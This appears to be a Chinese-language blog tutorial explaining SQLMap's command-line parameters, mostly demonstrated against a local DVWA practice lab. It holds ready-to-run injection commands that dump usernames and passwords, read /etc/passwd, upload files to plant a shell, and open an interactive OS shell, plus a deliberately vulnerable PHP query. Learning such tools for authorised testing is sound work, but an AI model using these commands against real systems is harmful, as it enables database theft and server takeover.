SQLMap 使用参数详解
SQLMap 是一款自动化的SQL注入测试工具,在 kali 上已集成
如果不想使用 kali 的话,可以从 github 上直接拉取开源项目
git clone https://github.com/sqlmapproject/sqlmap.git
注:最新版的 SQLMap 应该是支持 python3 的,但是如果 python3 无法使用的话可以试试切换成 python2 执行
常见参数
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--all 列举所有可访问的数据(不推荐)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导
参数使用
-h & -hh
上述列举的常用参数只是 SQLMap 支持的众多功能的一部分。想要全面了解 sqlmap 所有参数的基础功能可以使用这两个命令,想了解其他参数具体使用场景可以参考官方手册
-v
输出信息等级,级别为 0~6(默认1),各个级别描述如下:
- 0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
- 1:同时显示普通信息[INFO]和警告信息[WARNING];
- 2:同时显示调试信息[DEBUG];
- 3:同时显示注入使用的攻击荷载;
- 4:同时显示HTTP请求;
- 5:同时显示HTTP响应头;
- 6:同时显示HTTP响应体。
下图是级别6的输出
-u
-u
或 --url
指定一个 URL 作为扫描目标
sqlmap -u "http://127.0.0.1/admin.php?id=1"
sqlmap --url "http://127.0.0.1/admin.php?id=1"
–data
使用该参数可以让 SQLMap 以 POST 的方式发送数据
sqlmap -u "http://127.0.0.1/admin.php" --data="id=1"
-r requestFile
将一个 HTTP 请求保存在文件中,然后使用参数-r
加载该文件,SQLMap 会解析该文件并发送请求
一般用于表单提交时的注入等发送数据复杂时的情况,常常与 BurpSuite 抓包同时使用
如下图为 BurpSuite 抓下的HTTP包,文件存入/root/test.txt
通过如下命令测试注入
sqlmap -r /root/test.txt
-p / --skip
-p
用于指定需要测试的参数,且不受--level
限制
若想只测试 GET 参数“id”和 User-Agent,则可以这么写:
-p "id,user-agent"
--skip
用于指定不需要测试的参数
若不想测试 Referer 和 User-Agent,则可以这么写:
--level=5 --skip="user-agent,referer"
另,指定参数时还可以用 *
,在参数上加 *
与 -p
效果相同,只不过 *
还可以支持伪静态页面
比如:/user/1/
这个伪静态页面,参数为1,则可以使用如下方法测试
sqlmap -u "http://127.0.0.1/user/1*/"
–cookie
一些 SQL 注入点需要通过登录获取 cookie 后才可访问,通过该参数可以设置 cookie
如下图为 DVWA 测试环境
但是想要进入该页面需要先登录,否则会直接重定向到登录页面
下图为 SQLMap 访问302
此时我们就需要登录后,将 cookie 取出加入--cookie
参数中,方可成功注入
–force-ssl
强制使用 SSL,在测试 HTTPS 的网站时推荐使用该参数,可能会测出未加该参数时测不出的注入
–threads
用法如下:
sqlmap -u “http://127.0.0.1/admin.php?id=1” --threads 7
并发线程数为7进行注入测试
–prefix & --suffix
--prefix
为指定前缀 --suffix
为指定后缀
有时只有在 payload 后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的,此时可以直接指定 payload 的前缀和后缀来完成检测和注入
一个有漏洞的源码示例如下:
query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";
对这样的例子可以让 SQLMap 自动检测边界范围也可以手动指出边界范围:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
最终SQL语句会变成:
SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1
这个句子语法是正确的,payload也能执行。
在简单的测试环境下 SQLMap 不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为 SQLMap 指明边界范围。
–level
检测级别,共有1~5共5级,默认为1
检测级别不仅会影响 payload 的使用,还会影响注入点的检测(GET 和 POST 参数是一直会被检测的)
以下是检测级别的特殊检测项
- level >= 2时会检测cookie是否有注入
- level >= 3时会检测User-Agent和Referer是否有注入
- level >= 5时会检测Host是否存在注入漏洞
- level设置还会影响union注入时检测的列数等
明确存在的注入漏洞检测不出来时建议先把检测级别调高试试
–risk
风险等级,共有1~4共四级,默认为1
不推荐使用 risk >= 3的风险等级,存在修改表数据的风险
因为风险等级2添加了基于时间的注入测试,等级3添加了 OR 测试。若注入点是在 UPDATE 语句中,使用 OR 测试可能会修改整个表的数据
–all
使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。
–banner
列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --banner
–current-user
该参数会将有可能将执行 SQL 语句的用户列举出来,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --current-user
–current-db
该参数可能将WEB应用连接的数据库名列举出来,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --current-db
–hostname
该参数可能将数据库管理系统所在的计算机主机名列举出来,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --hostname
–is-dba
该参数可以检测当前用户是否为 dba,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --is-dba
–users
当前用户有“读取包含了数据库管理系统中用户信息的系统表”的权限时使用这一参数可以列举数据库管理系统中的用户,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --users
–dbs
当前用户有“读取包含了数据库管理系统中可用数据库信息的系统表”的权限时使用这一参数可以列举数据库管理系统中所有数据库。命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --dbs
-D & --tables
联用这两个参数,用于输出某数据库中的所有表,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa --tables
-D & -T & --columns
联用这三个参数,用于输出某库中某表的所有列,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa -T users --columns
-D & -T & -C & --dump
联用这四个参数,用于输出某库中某表的某列里的所有数据,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa -T users -C user,password --dump
–dump-all
该参数可列举所有数据库所有表中所有数据,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --dump-all
–count
有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa --count
-D / -T / -C --search
可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。默认进行模糊搜索
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D a --search
–sql-query
使用该参数可以执行任意SQL语句,命令如下
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --sql-query "SELECT count(1) FROM dvwa.user"
–sql-shell
使用该参数可以开启交互式SQL语句执行环境
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --sql-shell
–file-read
使用该参数可以读取系统文件(仅当数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有读取文件相关权限)
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --file-read "/etc/passwd"
–file-write & --file-dest
使用该参数可以上传文件到目标系统(一般用来写shell,仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有写入文件相关权限)
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --file-write "localpath" --file-dest "destpath"
–os-cmd
该参数可以通过 SQLMap 执行任意命令(仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有相关权限时)
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --os-cmd whoami
–os-shell
该参数可以通过 SQLMap 运行交互式 shell 来执行任意命令(限制条件同上)
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --os-shell
–batch
非交互式使用 SQLMap,所有的询问都选择默认,存在可能无法找到注入的问题
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --batch
–wizard
SQLMap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果
sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --wizard